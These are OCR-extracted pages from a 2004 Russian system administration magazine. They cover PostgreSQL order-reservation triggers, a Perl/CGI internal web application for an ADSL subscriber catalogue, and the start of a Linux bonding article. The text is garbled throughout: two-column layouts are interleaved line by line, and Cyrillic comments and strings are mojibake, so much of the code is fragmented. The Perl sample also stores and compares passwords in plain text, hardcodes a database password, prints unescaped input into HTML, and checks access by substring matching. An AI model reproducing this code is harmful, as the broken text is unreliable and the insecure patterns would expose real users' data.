from warehouse ную выше функцию с операцией вставки новой записи в
where goods_id = NEW.goods_id; таблицу orders:
if whcount < NEW.count then
--çàïèñûâàåì ñîîáùåíèå î íåõâàòêå òîâàðà create trigger set_order after insert on orders
insert into goods_warnings(goods_id, message, date) execute procedure orders_after_insert();
values(NEW.goods_id,
'Íåäîñòàòî÷íî íà ñêëàäå', now()); Точно так же поступим с триггером для контроля обяза-
--ïðîâåðÿåì, åñòü ëè ïðîñðî÷åííûå
select count(count), sum(count) into rsorders, rscount тельных остатков (здесь все заметно проще):
from reserved
where goods_id = NEW.goods_id and Create or replace function warehouse_after_update()
date < now() - '5 day'::interval; returns trigger as
if rscount + whcount >= NEW.count then 'BEGIN
--îòìåíÿåì ïðîñðî÷åííûé çàêàç if NEW.count < (select rest from goods
for row in select * from reserved where where goods_id = NEW.goods_id) then
date < now() - '5 days'::interval loop
insert into goods_warnings(goods_id, message, date)
update orders set status = 'cancelled' values(NEW.goods_id,
where order_id = row.order_id; \'Îñòàòîê ìåíüøå îáÿçàòåëüíîãî\',
delete from reserved now());
where order_id = row.order_id; end if;
insert into orders_warnings(order_id, return NEW;
message, date) END;'
values(row.order_id, language 'plpgsql';
'Çàêàç îòìåíåí', now());
end loop; Create trigger rest_control after update on warehouse
--äåëàåì íîâóþ çàïèñü â òàáëèöó ðåçåðâà execute procedure warehouse_after_update();
insert into reserved(order_id, goods_id, count, date)
values(NEW.order_id, NEW.goods_id,
NEW.count, NEW.date); На что здесь можно обратить внимание, так это на не-
--çàíîñèì, åñëè ÷òî-òî îñòàëîñü, íà ñêëàä посредственное использование результата выборки в ка-
update warehouse set count =
count + rscount - NEW.count честве переменной (см. конструкцию «select» в скобках).
where goods_id = NEW.goods_id; Естественно, выборка должна возвращать одно значение
else
--çàðåçåðâèðîâàòü íå óäàëîñü – çàíîñèì ñîîòâåòñòâóþùèå ïîìåòêè требуемого типа. Ну и поскольку благодаря этому в функ-
update orders set status = 'not reserved' ции удалось обойтись без переменных, секцию DECLARE
where order_id = NEW.order_id;
insert into orders_warnings(order_id, за ненадобностью можно опустить.
message, date) И теперь приступаем к проверке работоспособности.
values(NEW.order_id,
'Òîâàð ïî çàêàçó íå çàðåçåðâèðîâàí', now()); Сначала оформим «штатный» заказ:
end if;
else insert into orders(customer, goods_id, count, price, date)
--óìåíüøàåì êîëè÷åñòâî íà ñêëàäå values('Èâàíîâ Èâàí Èâàíîâè÷', 3, 1, 7302.00, '2004-07-15');
update warehouse set count = count - NEW.count
where goods_id = NEW.goods_id;
--äåëàåì çàïèñü â òàáëèöå ðåçåðâà Убеждаемся, что на складе количество мониторов умень-
insert into reserved(order_id, goods_id, count, date) шилось, записи в таблицах заказов и резерва появились,
values(NEW.order_id, NEW.goods_id, NEW.count
NEW.date); предупреждений нет. Теперь закажем сразу 4 монитора:
end if;
return NEW; insert into orders(customer, goods_id, count, price, date)
END; values('Ãîðýëåêòðîñåòè', 3, 4, 7302.00, '2004-07-16');

Обратите внимание на применение нами переменной Чтобы проверить правильность отмены просроченных
reserved%rowtype – она описывает запись таблицы reserved, заказов, даты выше были указаны прошедшие. Если сей-
которую мы в дальнейшем используем для организации час заказать 10 мониторов, то заказ будет помечен как «not
цикла (конструкция «for row in select ... loop») по записям, reserved», и соответствующая запись появится в таблице
выбранным из этой таблицы. С тем же успехом можно было предупреждений. Поскольку даже с учетом просроченных
бы использовать переменную типа RECORD, однако из-за заказов 10 мониторов никак не набирается, то и аннулиро-

46
администрирование
ваться ничего не будет. А вот если заказать 3 монитора, то шее изменение в функции потребует полностью набрать всю
с учетом высвобождения просроченного резерва (5 штук) команду create function. Графический клиент PgAdmin суще-
нужное количество набирается и даже 2 монитора будут ственно упрощает работу с функциями, однако некоторые
возвращены на склад. В таблице предупреждений появит- недоработки интерфейса (невозможность сохранить изме-
ся 4 записи – две об аннулировании просроченных зака- нения, не закрыв при этом окно редактора функции; отсут-
зов, одна о том, что имела место нехватка товара на скла- ствие запоминания последнего размера окна – отрегулиро-
де, и одна о том, что остаток мониторов (4 шт.) меньше вав окно редактора один раз, при следующем его открытии
обязательного минимума (5 шт.). придется делать все заново) способны сильно потрепать
Итак, поставленная в начале статьи задача решена: офор- нервы. Поэтому лучше запастись более «продвинутым» при-
мление заказа, включая такой «интеллектуальный» элемент, ложением, например, средой разработки EMS PostgreSQL
как попытка высвободить нужный товар из просроченного Manager (http://www.ems-hitech.com/index.phtml). Данная про-
резерва, выполняется по единственному запросу к СУБД. грамма (рис. 2) предоставляет очень широкие возможности
Очевидно, что если в функцию придется внести изменения по разработке и отладке функций PostgreSQL, однако, как
(например, будет принято решение, что резерв должен хра- это ни печально, стоит денег. 30-дневную пробную версию
ниться минимум 7 дней, а не 5), то они потребуются только можно загрузить с сайта разработчика.
на стороне СУБД. Клиенты (сколько бы их ни было) будут На этом я думаю завершить серию обзорных статей по
работать без каких-либо изменений. Кроме того, если одна PostgreSQL. В дальнейшем, безусловно, вопросы работы с
из операций даст сбой (например, не удастся сделать за- этой СУБД будут рассматриваться довольно часто, но уже
пись в таблицу резерва), то произойдет «откат» всех осталь- в плане конкретных задач. На мой взгляд, разработчикам
ных операций, выполненных при отработке функции, посколь- PostgreSQL удается очень удачно сочетать динамичное раз-
ку функция исполняется как единый транзакционный блок. витие продукта с определенной долей осторожности и кон-
Несколько слов о среде разработки. Конечно, никто не серватизма, что, в конечном итоге, делает эту СУБД весь-
запрещает использовать для этого терминал psql, но малей- ма удачным выбором.

Ðèñóíîê 2

№10(23), октябрь 2004 47


администрирование конкурсная статья

ВНУТРЕННИЙ ВЕБ-СЕРВЕР
Что админу хорошо, то пользователю – смерть.

Народная мудрость

СЕРГЕЙ СУПРУНОВ
Очень часто системному администратору, работающему в Apache + Perl (вы можете использовать и другую связку),
небольшой фирме, попутно приходится разрабатывать про- от клиентов требуется лишь поддержка какого-нибудь гра-
граммы для внутренних нужд компании. Требования к по- фического обозревателя. И наконец, времени на разработ-
добному ПО, как правило, невысоки, но это с лихвой ком- ку и сопровождение ПО в данном случае затрачивается за-
пенсируется очень сжатыми сроками, отводимыми на раз- метно меньше, чем при «традиционных» способах.
работку. Освоить Delphi для того, чтобы на предприятии по- Для наглядности рассмотрим в общих чертах процесс
явилась программа-каталог пользователей Интернета или разработки незатейливого приложения: каталога пользо-
программа, формирующая материальные отчеты, было бы вателей ADSL, в который будут заноситься сведения об
просто замечательно. Но времени на подобные вещи, как абонентах (фамилия, адрес, номер телефона), параметры
обычно, не хватает. И потому приходится идти другим пу- конфигурации (IP-адреса, интерфейсы, номера PVC), па-
тём. В данной статье я хочу рассказать о своем опыте ис- раметры линии (длина, диаметр жилы, сопротивление шлей-
пользования веб-сервера для решения подобных задач. фа) и т. д.
Почему был выбран столь экзотический способ? Во- В целях экономии места будет рассмотрена только пер-
первых, Perl я знаю несколько лучше, чем Delphi или C++ вая функция (работа со сведениями об абонентах). Очень
Builder. Во-вторых, такой подход без лишних усилий позво- многие детали придется опустить. Так, не будут рассмот-
ляет создавать клиент-серверные приложения, с которыми рены особенности Perl-модулей, подключаемых к нашим
одновременно могут работать сотни пользователей, не за- сценариям, способы работы с базой данных и т. д. Читате-
ботясь о разработке клиентских программ – с этой ролью лю понадобятся, по крайней мере, базовые знания Perl,
отлично справится любой браузер. В-третьих, налицо неза- HTML, PostgreSQL (или какой-нибудь другой СУБД). Если
висимость от конкретных платформ и операционных сис- материал статьи окажется вам интересен, я постараюсь раз-
тем – для сервера достаточно, чтобы на нем мог работать ложить все по полочкам в следующих статьях, оставляйте

48
администрирование
ваши отзывы на форуме журнала «Системный админист- ! ipaddress inet – IP-адрес, сопоставленный с данным
ратор». портом.
! lines – характеристики линий связи:
Подготовительные мероприятия ! uid serial – уникальный идентификатор линии;
Итак, прежде всего нам нужно собрать сервер. Я остано- ! portid numeric – идентификатор порта DSLAM, на ко-
вил свой выбор (поскольку все это уже есть и работает) на торый подключена эта линия;
следующем ПО (правда, кое-что из этого списка уже пора ! length numeric(5) – длина линии в метрах;
бы обновить): ! diameter numeric(2,1) – диаметр жилы в миллиметрах;
! ОС: FreeBSD 5.2 ! impedance numeric(4) – сопротивление шлейфа в
! Веб-сервер: Russian Apache 1.3.29 Омах.
! Язык программирования: Perl 5.6.1
! СУБД: PostgreSQL 7.4.2 И еще одна таблица для хранения служебной информа-
ции:
Рассматривать установку и конфигурирование всего ! st_modules – список функциональных модулей:
этого я не буду – все довольно подробно описано и на стра- ! name char(20) – имя модуля;
ницах журнала, и на бескрайних просторах Интернета. Вы- ! description varchar – описание модуля;
бор именно этого ПО – вопрос, скорее, личных предпочте- ! ink varchar – ссылка на сценарий модуля;
ний, поскольку по каждому из пунктов можно привести мас- ! allow char(12)[] – массив, хранящий имена пользова-
су как положительных, так и отрицательных доводов. В кон- телей, которым позволено работать с данным моду-
це концов с тем же успехом (с поправкой на более высокие лем;
требования к ресурсам и вопросам безопасности) можно ! orderby numeric(2) – данное поле задает порядок вы-
использовать и связку «Windows2003 – IIS – ASP – MSSQL». вода модулей на экран.

Структура базы данных и доступ к СУБД В данном случае мы минимально задействуем расши-
Начнем разработку с определения структуры БД. Нужно ренные возможности PostgreSQL, что позволит почти ни-
заметить, что это итерационный процесс, то есть обычно чего не менять при использовании, например, MySQL.
при разработке сценариев выясняется, что база данных
должна быть несколько иной, потом корректировки вновь Шаблон сайта – модульный подход
вносятся в код сценариев, снова исправляется БД и так до Поскольку переписывать все сначала при необходимости
тех пор, пока разработчик не осознает, что эффект от даль- расширить функциональность нашего приложения – заня-
нейшего улучшения уже не окупает затрат на исправления. тие не очень интересное, применим модульный подход.
Но мы остановимся на первой итерации, тем более что наша Пусть основной сценарий отвечает только за предоставле-
задача – показать сам принцип. ние доступа к имеющимся функциям, а каждая функция
Итак, создадим БД с именем adsl, владельцем которой будет реализована отдельным скриптом. Кроме того, час-
будет пользователь adsluser с паролем password. В ней нам то используемые операции будем выносить в наш модуль
потребуются следующие таблицы: My::Insite.
! sessions – информация сеансов пользователей (см. да- Выглядеть базовый сценарий будет примерно так:
лее):
! id char(32) – идентификатор сессии; #!/usr/bin/perl –w
#-------------------------------------------- adsl.cgi
! a_session text – информация сессии;
! login char(12) – имя пользователя; use My::Insite;
! password varchar – пароль пользователя. # Ïîäêëþ÷àåìñÿ ê ÁÄ è ñîçäàåì îáúåêò CGI äëÿ ðàáîòû ñ HTTP
! users – информация об абонентах ADSL: $dbh = My::Insite->DBConnect('adsl', 'adsluser', 'password');
$cgi = My::Insite->CGIStart();
! uid serial – уникальный идентификатор абонента;
! name varchar – фамилия, имя, отчество; # Ñ÷èòûâàåì çíà÷åíèå HTTP-ïàðàìåòðà «action»
($action = $cgi->param('action')) or $action = '';
! address varchar – адрес проживания;
! phone char(7) – номер телефона. # Âûïîëíÿåì ïðîöåäóðó âûõîäà
if($action eq 'logoff') { &doLogoff; }
! dslam– информация о ADSL-портах:
! uid serial – уникальный идентификатор порта; # Ïðîöåäóðà àâòîðèçàöèè
if($action eq 'logon') {
! userid numeric – идентификатор подключенного на $savedLogin = $cgi->param('login');
порт абонента; $savedPassword = $cgi->param('password');
# èùåì ñåññèþ äëÿ çàÿâëåííîãî ëîãèíà
! num char(10) – номер порта (в виде nDSLAM/nBOARD/ ($sSessId, $sPassword) = $dbh->selectrow_array('
nPORT); SELECT id, password FROM sessions WHERE login=?
', undef, $savedLogin);
! vlan numeric(4) – номер VLAN, соответствующей # åñëè íå íàøëè – ïîâòîðíûé çàïðîñ àâòîðèçàöèè
ADSL-порту; if(!$sSessId) { &doLogon('Failed'); }
# åñëè ñåññèÿ åñòü, íî ïàðîëü íå ñîîòâåòñòâóåò ââåäåííîìó,
! vpi numeric(3) – номер VPI; # ïîâòîðíûé çàïðîñ àâòîðèçàöèè
! vci numeric(3) – номер VCI, присвоенный клиенту; if($sPassword ne $savedPassword) { &doLogon('Wrong'); }
! interface char(15) – имя интерфейса, на котором бу- # Åñëè âñå íîðìàëüíî – ñîõðàíÿåì èäåíòèôèêàòîð ñåññèè â cookie
дет вестись учет трафика; $cookie = $cgi->cookie(-name => 'sessid', -value => $sSessId);

№10(23), октябрь 2004 49


администрирование
print $cgi->header(-cookie => $cookie); print '</HEADER>';
print 'Àâòîðèçàöèÿ âûïîëíåíà óñïåøíî.'; print 'Äî íîâûõ âñòðå÷!';
print " <A href='adsl.cgi'>Ïðîäîëæèòü...</A>"; exit;
exit; }
}

# action íå èìååò çíà÷åíèÿ, ïûòàåìñÿ èçâëå÷ü èç cookie Задача данного сценария – выполнить авторизацию
# èäåíòèôèêàòîð ñåññèè пользователя и предоставить ему список доступных для ра-
$sessId = $cgi->cookie('sessid');
боты модулей. Управление поведением сценария осуществ-
# Åñëè áåçóñïåøíî – óõîäèì íà àâòîðèçàöèþ ляется с помощью переменной «action», которая может иметь
if(!$sessId) { &doLogon('First'); }
одно из следующих значений: logoff (закрыть сеанс), logon
# Åñëè sessId åñòü, ïûòàåìñÿ ïîëó÷èòü ïîëüçîâàòåëÿ ýòîé ñåñ- (выполнить процедуру авторизации, в ходе которой прове-
ñèè
($sLogin) = $dbh->selectrow_array(' ряется правильность пароля и открывается сессия, соответ-
SELECT login FROM sessions WHERE id=?; ствующая данному пользователю, о чем делается запись в
', undef, $sessId);
файлах cookie). Пустое значение данной переменной позво-
# Åñëè óäà÷íî – îòêðûâàåì ñåññèþ, èíà÷å – íà àâòîðèçàöèþ лит вывести на экран перечень доступных модулей.
if($sLogin) {
$session = My::Insite->SessOpen($dbh, $sessId); Список модулей хранится в БД, в таблице st_modules,
} else { &doLogon('Fialed'); } откуда он выбирается и выводится на экран, причем отобра-
# Âûáèðàåì èç ÁÄ è âûâîäèì íà ýêðàí ñïèñîê ìîäóëåé жаются только те модули, для которых в поле allow содер-
print $cgi->header; жится имя текущего пользователя. Больше ничего от глав-
$sth = $dbh->prepare('SELECT * FROM st_modules ORDER BY
orderby;'); ного сценария не требуется. Для подключения к приложе-
$sth->execute; нию очередного модуля достаточно поместить в папку cgi-
print "<P align='right'>Âû âîøëè ïîä èìåíåì $sLogin | ";
print ' <A href="?action=logoff">Âûõîä</A></P>'; bin реализующий его сценарий и добавить запись в таблицу
while($rhash = $sth->fetchrow_hashref) { st_modules. То есть в этой таблице будет что-то похожее:
# Ïå÷àòàòü áóäåì òîëüêî òå ìîäóëè, äëÿ êîòîðûõ â ïîëå
allow
# åñòü èìÿ âîøåäøåãî ïîëüçîâàòåëÿ adsl=> select link, name, allow from st_modules order by orderby;
if($$rhash{allow} =~ m($sLogin)) { link | name | allow
print "<DT><A href='$$rhash{link}'> ↵ ---------------------+------------------------------------------+----------------------
$$rhash{name}</A>"; adsl-users.cgi | Абоненты ADSL | {"admin","operator"}
print "<DD>$$rhash{description}<BR>"; adsl-dslam.cgi | Конфигурация DSLAM | {"admin"}
} adsl-admin.cgi | Модуль администратора | {"admin"}
} (записей: 3)

# Âñå çàêðûâàåì (â ïðèíöèïå ýòî íå îáÿçàòåëüíî – âñå Результат работы сценария adsl.cgi представлен на ри-
# è òàê çàêðîåòñÿ) сунках 1 и 2.
My::Insite->SessClose($session);
My::Insite->DBDisconnect($dbh);
exit;
#-------------------------------------------- ïîäïðîãðàììû
sub doLogon { # ïîäïðîãðàììà àâòîðèçàöèè
$status = shift @_;
if($status eq 'Wrong') {
$status = Íåïðàâèëüíûé ëîãèí èëè ïàðîëü.';
} elsif($status eq 'Failed') {
$status = Îøèáêà ïîäêëþ÷åíèÿ äàííîãî ↵
ïîëüçîâàòåëÿ.';
} else {
$status = Ââåäèòå ëîãèí è ïàðîëü:';
}
print $cgi->header();
print <<__HTML__;
<CENTER><H3>$status</H3><FORM method="POST">
<TABLE border="1"><TR><TD><TABLE> Ðèñóíîê 1
<INPUT type="hidden" name="action" value="logon">
<TR><TD>Login:<TD><INPUT type="text" name="login"
value="">
<TR><TD>Password:
<TD><INPUT type="password" name="password" value="">
<TR><TD colspan="2" align="center">
<INPUT type="submit" value="Âîéòè">
</TABLE></TABLE></FORM></CENTER>
__HTML__

exit;
}

sub doLogoff { # ïîäïðîãðàììà çàêðûòèÿ ñåàíñà


# Çàïèñûâàåì cookie ñ èñòåêøèì «ñðîêîì ãîäíîñòè»
# (îòðèöàòåëüíîå çíà÷åíèå ïàðàìåòðà expire), ÷òî óíè÷òîæèò
# cookie â ïàìÿòè
$cookie = $cgi->cookie(-name => 'sessid',
-value => '',
-expires => '-1d');
print $cgi->header(-cookie => $cookie);
print '<HEADER>';
print '<META http-equiv="refresh" ↵
content="1;url=adsl.cgi">'; Ðèñóíîê 2

50
администрирование
Модуль My::Insite в моем случае будет размещаться по Доступ на сайт и Apache::Session
такому адресу: /usr/local/lib/perl5/site_perl/5.6.1/My/Insite.pm. Если вы доверяете всем сотрудникам или собираетесь ог-
Узнать пути, по которым Perl ищет подключаемые модули, раничивать доступ к сайту «низкоуровневыми» средства-
позволяет специальная переменная @INC: ми вроде брандмауэра для ограниченного круга лиц с рав-
ными правами, то этот пункт можно пропустить. В общем
#!/usr/bin/perl же случае желательно организовать проверку «подлинно-
#-------------------- testpath.pl
сти» пользователя и соответствующим образом ограничи-
$, = "\n"; вать его права в нашей программе. В серьезных случаях
print @INC;
exit; можно дополнительно организовать SSL-шифрование, но
сейчас обойдемся без этого, чтобы не отвлекаться от ос-
На моей машине результат был получен следующий: новной цели.
Пароли для простоты хранить и передавать будем в яв-
$ ./testpath.pl ном виде, признак правильного входа в приложение, а за-
/usr/local/lib/perl5/site_perl/5.6.1/mach
/usr/local/lib/perl5/site_perl/5.6.1 одно и некоторые персональные настройки будем хранить,
/usr/local/lib/perl5/site_perl используя механизм сессий. В Perl это выглядит несколько
/usr/local/lib/perl5/5.6.1/BSDPAN
/usr/local/lib/perl5/5.6.1/mach сложнее, чем в PHP, зато проще сделать именно то, что
/usr/local/lib/perl5/5.6.1 нужно. Для работы понадобится модуль Apache::Session.
Если на вашей системе такого нет, для FreeBSD его, как и
Код модуля My::Insite представлен ниже: большинство других модулей, можно установить из коллек-
ции портов:
package My::Insite;
# cd /usr/ports/www/p5-Apache-Session
use CGI; # make install
use DBI;
use Apache::Session::Postgres;
Более универсальный путь, пригодный практически для
sub CGIStart { всех систем – использование архива CPAN. Этот метод опи-
return CGI->new;
} сан на страницах руководства man perlmodinstall.
Так как база данных у нас есть, целесообразно для хра-
sub DBConnect {
my($obj, $dbName, $dbUser, $dbPwd) = @_; нения сессионной информации использовать именно ее. По-
return DBI->connect('dbi:Pg:dbname='.$dbName, ↵ этому будем использовать подмодуль Apache::Session::
$dbUser, $dbPwd);
} Postgres. Поскольку число пользователей нашего приложе-
ния ограничено и все они известны, то имеет смысл для
sub DBDisconnect {
my($obj, $dbh) = @_; каждого из них заранее создать сессию, в которой будут
$dbh->disconnect; храниться все пользовательские данные, и при авториза-
return(1);
} ции подключать именно ее. Такой подход позволит не бес-
покоиться об удалении старых сессий и о хранении иденти-
sub SessOpen {
my($obj, $dbh, $sessId) = @_; фикатора сессии между сеансами. Вручную создавать но-
tie %session, 'Apache::Session::Postgres', $sessId, вую сессию не очень удобно, поэтому будем использовать
{Handle => $dbh, LockHandle => $dbh};
return(bless(\%session, $obj)); такой небольшой сценарий:
}
#!/usr/bin/perl –w
sub SessClose { #------------------------------------------ adsl-adduser.pl
my($obj, $session) = @_;
untie(%$session); use DBI;
return(1); use Apache::Session::Postgres;
}
$login = $ARGV[0]; # ïåðâûé àðãóìåíò – èìÿ
return(1); $password = $ARGV[1]; # âòîðîé – ïàðîëü

Как видите, сюда вынесены функции подключения к БД, # Çàïðàøèâàåì âñå, ÷òî íå ïåðåäàíî â àðãóìåíòàõ
if(!$login) {
работы с сессиями и т. д. print 'Enter login: ';
Может показаться, что в некоторых функциях нет смыс- chomp($login = <>);
}
ла. Например, зачем создавать CGIStart, которая только и
делает, что вызывает функцию new() модуля CGI? Не про- if(!$password) {
print 'Enter password: ';
ще ли вызывать эту функцию самому и не захламлять мо- chomp($password = <>);
дуль? }
А теперь представьте, что вы решили вместо модуля CGI # Ñîçäàåì íîâóþ ñåññèþ è ñðàçó çàêðûâàåì
перейти на более функциональный. Что проще – перепи- $dbh = DBI->connect('dbi:Pg:dbname=adsl', 'adsluser', ↵
'password');
сывать все имеющиеся сценарии или изменить одну функ- tie %session, 'Apache::Session::Postgres', undef,
цию в My::Insite? {Handle => $dbh, LockHandle => $dbh};
untie %session;
Думаю, в этом модуле все понятно без комментариев.
Если что непонятно – всегда под рукой man DBI, man CGI, # Â çàïèñü â òàáëèöå sessions, ñîîòâåòñòâóþùåé íàøåìó
# ñåàíñó, äîáàâëÿåì èìÿ ïîëüçîâàòåëÿ è ïàðîëü, ââåäåííûå âûøå
man Apache::Session. $pre = $dbh->prepare('

№10(23), октябрь 2004 51


администрирование
update sessions else { print 'Íå ìîãó âûïîëíèòü: '.$action; }
set login = ?, password = ?
where login is null; My::Insite->SessClose($session);
'); My::Insite->DBDisconnect($dbh);
$pre->execute($login, $password); exit;
$dbh->disconnect;
exit; #------------------------------------- subroutines
sub showUsers { # ïîäïðîãðàììà âûâîäà ñïèñêà àáîíåíòîâ
При желании этот модуль можно сделать CGI-скриптом $sth = $dbh->prepare('SELECT uid, name, address, phone
и организовать доступ к нему через модуль администриро- FROM users ORDER BY name;');
$sth->execute;
вания, подключаемый к нашему приложению, как и все ос-
тальные. print '<TABLE><TR><TD><H3>Àáîíåíòû</H3>';
print '<TD align="right"><A href="adsl.cgi">Ãëàâíàÿ</A>';
Ну и раз информация сессий будет необходима нам в print '<TR><TD colspan="2">';
каждом модуле, то процедуры работы с ней вынесены в наш print '<TABLE><TR><TD align="right">';
print '[ <A href="?action=user&type=add">
модуль My::Insite. Как все это будет работать – смотрите в Äîáàâèòü íîâîãî àáîíåíòà</A> ]';
листингах, приведенных в статье. print '<TR><TD><TABLE border=1><TR bgcolor=#AAAAFF>
<TH>Àáîíåíò
<TH>Àäðåñ
Взаимодействие с БД <TH>Òåëåôîí
<TH>Äåéñòâèå;
Для работы с базой данных будем использовать Perl-мо-
дуль DBI с драйвером DBD::Pg. Данный модуль и нужный while(@res = $sth->fetchrow_array) {
$oper = ($res[6] eq 'I'?'inlager':'outlager');
драйвер можно установить как из портов, так и из CPAN. print "<TR><TD>$res[1]<TD>$res[2]<TD>$res[3]<TD>
Функции открытия и закрытия соединения вынесены в мо- [ <A href='?action=user&type=update&uid=$res[0] ↵
'>Èçìåíèòü</A> ] ::
дуль My::Insite, остальное смотрите в коде конкретных мо- [ <A href='?action=user&type=delete&uid=$res[0] ↵
дулей. '>Óäàëèòü</A> ]";
}
print '</TABLE><TR><TD align="right">';
Модуль обработки информации print '[ <A href="?action=user&type=add">Äîáàâèòü ↵
íîâîãî àáîíåíòà</A> ]';
об абоненте print '</TABLE></TABLE>';
Вот мы и добрались до первого «рабочего» модуля. В его return;
}
рамках нам нужно решить следующие задачи: вывод на
экран списка абонентов, ввод нового абонента, удаление sub userForm { # âûâîäèò ôîðìó äëÿ ìàíèïóëÿöèé ñ äàííûìè
$uid = $cgi->param('uid');
абонента, изменение данных. $type = $cgi->param('type');
Код модуля следующий: if($type eq 'add') { $submitName = 'Äîáàâèòü'; }
elsif($type eq 'delete') { $submitName = 'Óäàëèòü'; }
elsif($type eq 'update') { $submitName = 'Èçìåíèòü'; }
#!/usr/bin/perl –w else {
#------------------------------------ adsl-users.cgi print 'Îøèáêà îïåðàöèè: '.$type;
exit;
use My::Insite; }
$header = $submitName.' àáîíåíòà:';
$dbh = My::Insite->DBConnect('adsl', 'adsluser', 'password');
$cgi = My::Insite->CGIStart(); if($type ne 'add') {
$action = $cgi->param('action'); ($name, $address, $phone) = $dbh->selectrow_array('
SELECT name, address, phone FROM users WHERE uid = ?;
# Ïûòàåìñÿ ñ÷èòàòü èç cookie èäåíòèôèêàòîð ñåññèè, ', undef, $uid);
# åñëè áåçóñïåøíî – îòïðàâëÿåì íà àâòîðèçàöèþ } else {
$sessId = $cgi->cookie('sessid'); $name = $address = $phone = '';
if(!$sessId) { }
&toLogon;
} if($type eq 'delete') {
$in1 = "<B>$name</B>";
# Îòêðûâàåì ñåññèþ, èëè íà àâòîðèçàöèþ â ñëó÷àå îøèáêè $in2 = "<B>$address</B>";
($sLogin) = $dbh->selectrow_array(' $in3 = "<B>$phone</B>";
SELECT login FROM sessions WHERE id=?; } else {
', undef, $sessId); $in1 = "<INPUT type='text' name='name' ↵
value='$name' size='35'>";
if($sLogin) { $in2 = "<INPUT type='text' name='address' ↵
$session = My::Insite->SessOpen($dbh, $sessId); value='$address' size='35'>";
} else { $in3 = "<INPUT type='text' name='phone' ↵
&toLogon; value='$phone' size='7'>";
} }

# Ïðîâåðÿåì, ìîæíî ëè äàííîìó ïîëüçîâàòåëþ ðàáîòàòü ñ ýòèì print <<__HTML__;


# ìîäóëåì <CENTER><H3>$header</H3>
($allow) = $dbh->selectrow_array(' <FORM method="GET">
SELECT allow FROM st_modules WHERE link=?;', <TABLE border="1"><TR><TD><TABLE>
undef, 'adsl-users.cgi'); <INPUT type="hidden" name="action" value="changeuser">
if($allow !~ m($sLogin)) { <INPUT type="hidden" name="type" value="$type">
&toLogon; <INPUT type="hidden" name="uid" value="$uid">
} <TR><TD>Àáîíåíò: <TD>$in1
<TR><TD>Àäðåñ: <TD>$in2
print $cgi->header; <TR><TD>Òåëåôîí: <TD>$in3
<TR><TD colspan="2"><HR>
# Ðàçáèðàåì âîçìîæíûå äåéñòâèÿ <TR><TD>[ <A href="adsl-users.cgi?action=">Îòìåíà</A> ]
if ($action eq '' ) { &showUsers; } <TD align="right"><INPUT type="submit" ↵
elsif($action eq 'user' ) { &userForm; } value="$submitName">
elsif($action eq 'changeuser') { &changeUser; } </TABLE></TABLE></FORM></CENTER>

52
администрирование
__HTML__ Прочие модули
exit; Поскольку другие модули ничего нового и интересного в
}
себе не содержат, отличаясь от приведенного лишь имена-
sub changeUser { # çàïèñü èçìåíåíèé â ÁÄ ми и количеством полей, а также некоторыми интерфейс-
$type = $cgi->param('type');
$uid = $cgi->param('uid'); ными особенностями, то и тратить время на их рассмотре-
$name = $cgi->param('name'); ние не будем. Добавив соответствующую запись в таблицу
$address = $cgi->param('address');
$phone = $cgi->param('phone'); st_modules, вы сделаете новый модуль доступным для ра-
if($type eq 'add') {
боты.
$res = $dbh->do('
INSERT INTO users(name, address, phone) Что можно изменить?
VALUES(?, ?, ?);',
undef, $name, $address, $phone); Как известно, нет предела совершенству. Рассмотренный
} elsif($type eq 'delete') { здесь пример был очень сильно урезан и упрощен, чтобы
$res = $dbh->do('DELETE FROM users WHERE uid=?;', ↵
undef, $uid); за деталями не потерялась суть и чтобы уложиться в рамки
} elsif($type eq 'update') { журнальной статьи. Однако, разрабатывая реальное при-
$res = $dbh->do('
UPDATE users SET name=?, address=?, phone=? WHERE uid=?; ложение, имеет смысл сделать некоторые улучшения.
', undef, $name, $address, $phone, $uid); Например, «шаблонность» нашего приложения остав-
} else { print 'Îøèáêà îïåðàöèè: '.$type; }
ляет желать лучшего. Каждый добавляемый модуль в прин-
if($res) { print 'Îïåðàöèÿ âûïîëíåíà óñïåøíî. '}; ципе имеет очень схожую структуру и функциональность.
print '<BR><A href="?action=">Ïðîäîëæèòü...</A>';
exit; То есть можно разработать один модуль-шаблон и настра-
} ивать его под конкретные таблицы и поля автоматически в
sub toLogon { процессе обращения к конкретной функции.
print $cgi->header; Можно сделать более гибкой систему разграничения до-
print '<META http-equiv="refresh" ↵
content="1;url=adsl.cgi?account=logon">'; ступа, помимо пользователей введя понятие групп пользо-
print 'Îøèáêà âõîäà. Ïåðåíàïðàâëåíèå...'; вателей, а также разграничивая права пользователей в пре-
exit;
} делах одного модуля (полный доступ, только чтение).
Механизм сессий используется очень слабо. Например,
В данном случае для управления поведением сценария его можно использовать для передачи таких параметров
используется еще одна переменная – type. Если action оп- как идентификатор пользователя (uid), вместо того чтобы
ределяет, на какую подпрограмму следует передавать уп- делать это с помощью скрытых полей формы. Не совсем
равление, то type содержит информацию о том, что именно удобной выглядит необходимость в каждом модуле зада-
следует делать в данной подпрограмме. вать логин и пароль для подключения к БД. Выносить это в
Сгенерированный приложением список абонентов име- модуль My::Insite неправильно (иначе будут сложности с
ет вид, представленный на рисунке 3. Рисунок 4 демонст- использованием данного модуля в других приложениях для
рирует форму для изменения данных. подключения к другим базам), а вот сделать что-то типа
конфигурационного файла и брать нужные данные оттуда
было бы намного лучше, поскольку в случае смены имени
или пароля корректировка потребуется только в одном ме-
сте. В существенном улучшении нуждается проверка кор-
ректности вводимых данных, контроль ошибок, и т. д. В ре-
альной жизни этим, конечно же, пренебрегать нельзя.
И вообще, можно сделать более удобный и красивый
дизайн, добавить страничкам «динамизм» с помощью
JavaScript (например, всплывающие подсказки, предупреж-
Ðèñóíîê 3 дения и т. п.) и много еще чего хорошего и полезного.

Заключение
Ну что ж. Надеюсь, полученный результат хотя бы частич-
но соответствует нашим ожиданиям, несмотря на множе-
ство недоработок, оставленных «за бортом». Мы получи-
ли гибкое, легко модифицируемое приложение, соответ-
ствующее большинству наших требований. В будущем его
без труда можно расширить, добавив, например, модуль
для работы с жалобами абонентов, для сбора статистики
по потребленному трафику и оплатам и т. д. Единствен-
ное, чего мне в данный момент не хватает, это красивых
отчетов, которые не стыдно было бы распечатать, сохра-
нить в файл, отправить по электронной почте. Эта задача
тоже решается довольно просто. Но об этом – в следую-
Ðèñóíîê 4 щей статье.

№10(23), октябрь 2004 53


сети

НА ПУТИ ПОВЫШЕНИЯ НАДЁЖНОСТИ


И СКОРОСТИ: LINUX BONDING
– Bond?....James Bond?
– No, Linux Bonding.

В данной статье описывается частный случай объединения двух каналов Ethernet в один
